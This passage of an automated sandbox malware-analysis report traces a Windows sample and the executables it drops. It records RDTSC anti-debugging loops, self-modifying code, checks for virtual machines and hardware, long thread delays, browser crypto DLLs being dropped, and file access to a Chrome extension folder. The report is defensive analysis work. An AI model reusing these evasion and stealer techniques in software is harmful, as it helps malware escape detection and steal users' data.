00007F95FD07A065h 0x0000004b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0906 second address: 4CC090C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC090C second address: 4CC0910 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0910 second address: 4CC0926 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F966FA2E40Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 mov bl, ah 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0926 second address: 4CC096E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F95FD07A066h 0x00000009 adc ah, FFFFFFB8h 0x0000000c jmp 00007F95FD07A05Bh 0x00000011 popfd 0x00000012 mov edi, eax 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F95FD07A061h 0x00000025 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC096E second address: 4CC097E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F95FD7D899Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC097E second address: 4CC09BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a jmp 00007F95FD07A067h 0x0000000f je 00007F966F2CFA5Ah 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F95FD07A065h 0x0000001c rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC09BC second address: 4CC0A31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F95FD7D89A7h 0x00000009 xor eax, 0B0CD99Eh 0x0000000f jmp 00007F95FD7D89A9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F95FD7D89A0h 0x0000001b jmp 00007F95FD7D89A5h 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 test byte ptr [76FA6968h], 00000002h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov cx, dx 0x00000031 pushad 0x00000032 popad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0A31 second address: 4CC0A37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0A37 second address: 4CC0A3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0A3B second address: 4CC0A65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F966F2CF9BFh 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 call 00007F95FD07A05Dh 0x00000019 pop eax 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0A65 second address: 4CC0A96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D899Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F95FD7D899Eh 0x00000011 xchg eax, ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F95FD7D899Ah 0x0000001b rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0A96 second address: 4CC0AA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0AA5 second address: 4CC0ACF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95FD7D899Fh 0x00000008 push ecx 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F95FD7D89A0h 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0ACF second address: 4CC0B49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F95FD07A066h 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 mov esi, 3714076Dh 0x00000016 movzx esi, dx 0x00000019 popad 0x0000001a push eax 0x0000001b pushad 0x0000001c mov edi, 7F09F5B4h 0x00000021 popad 0x00000022 xchg eax, ebx 0x00000023 pushad 0x00000024 movsx ebx, cx 0x00000027 pushfd 0x00000028 jmp 00007F95FD07A062h 0x0000002d jmp 00007F95FD07A065h 0x00000032 popfd 0x00000033 popad 0x00000034 push dword ptr [ebp+14h] 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007F95FD07A05Dh 0x0000003e rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0B49 second address: 4CC0B67 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0B67 second address: 4CC0B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0B6B second address: 4CC0B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0B6F second address: 4CC0B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0B75 second address: 4CC0B7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0B7B second address: 4CC0B7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0BCD second address: 4CC0BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CC0BD1 second address: 4CC0BE4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A05Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0CAB second address: 4CD0D00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F95FD7D899Ch 0x00000011 xor ah, 00000058h 0x00000014 jmp 00007F95FD7D899Bh 0x00000019 popfd 0x0000001a mov ax, AD0Fh 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F95FD7D89A1h 0x00000028 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0D00 second address: 4CD0D3D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F95FD07A067h 0x00000008 call 00007F95FD07A068h 0x0000000d pop eax 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pop ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0D3D second address: 4CD0D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0D41 second address: 4CD0D45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0D45 second address: 4CD0D4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0A57 second address: 4CD0A9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD07A060h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov esi, 7489C10Dh 0x00000010 pushfd 0x00000011 jmp 00007F95FD07A05Ah 0x00000016 or al, 00000028h 0x00000019 jmp 00007F95FD07A05Bh 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F95FD07A05Bh 0x0000002a rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0A9D second address: 4CD0ABA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F95FD7D89A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0ABA second address: 4CD0AC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	RDTSC instruction interceptor: First address: 4CD0AC0 second address: 4CD0AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Special instruction interceptor: First address: 3CE846 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Special instruction interceptor: First address: 57DDE1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	Special instruction interceptor: First address: 5F7A73 instructions caused by: Self-modifying code
Source: C:\Users\userAKKKFBGDHJ.exe	Special instruction interceptor: First address: AEA2E instructions caused by: Self-modifying code
Source: C:\Users\userAKKKFBGDHJ.exe	Special instruction interceptor: First address: 258365 instructions caused by: Self-modifying code
Source: C:\Users\userAKKKFBGDHJ.exe	Special instruction interceptor: First address: AEA22 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 40E846 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 5BDDE1 instructions caused by: Self-modifying code
Source: C:\Users\userAKKKFBGDHJ.exe	Special instruction interceptor: First address: 2D7884 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Special instruction interceptor: First address: 637A73 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 85EA2E instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: A08365 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 85EA22 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: A87884 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe

Code function: 5_2_04D40CDC rdtsc

5_2_04D40CDC

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 379
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Window / User API: threadDelayed 367
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Window / User API: threadDelayed 530
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Window / User API: threadDelayed 1054
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Window / User API: threadDelayed 1080
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Window / User API: threadDelayed 830
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Window / User API: threadDelayed 406

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7756	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7756	Thread sleep time: -70035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7792	Thread sleep time: -60030s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7692	Thread sleep count: 379 > 30
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7692	Thread sleep time: -11370000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7948	Thread sleep time: -360000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7760	Thread sleep time: -50025s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 7692	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7748	Thread sleep count: 37 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7748	Thread sleep time: -74037s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7752	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7752	Thread sleep time: -70035s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7700	Thread sleep count: 367 > 30
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7700	Thread sleep time: -11010000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7736	Thread sleep time: -52026s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7928	Thread sleep time: -540000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe TID: 7700	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe TID: 5892	Thread sleep count: 283 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe TID: 5892	Thread sleep count: 175 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe TID: 5892	Thread sleep count: 1080 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe TID: 5892	Thread sleep count: 322 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe TID: 5892	Thread sleep count: 830 > 30
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe TID: 5892	Thread sleep count: 406 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Thread sleep count: Count: 1054 delay: -10
Source: C:\Users\user\AppData\Local\Temp\1000017001\bdb44f72d9.exe	Thread sleep count: Count: 1080 delay: -10

Source: C:\Users\user\AppData\RoamingCFCGIIEHIE.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\userAKKKFBGDHJ.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040D8C0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040D8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040F4F0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F4F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040BCB0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BCB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004139B0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_004139B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040E270 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E270
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004143F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_004143F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040DC50 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DC50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00414050 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlenA,lstrlenA,	0_2_00414050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040EB60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EB60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004133C0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,lstrcat,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_004133C0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 180000
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: explorti.exe, 00000013.00000002.3258303084.0000000001608000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWn
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000003E6000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000003E6000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
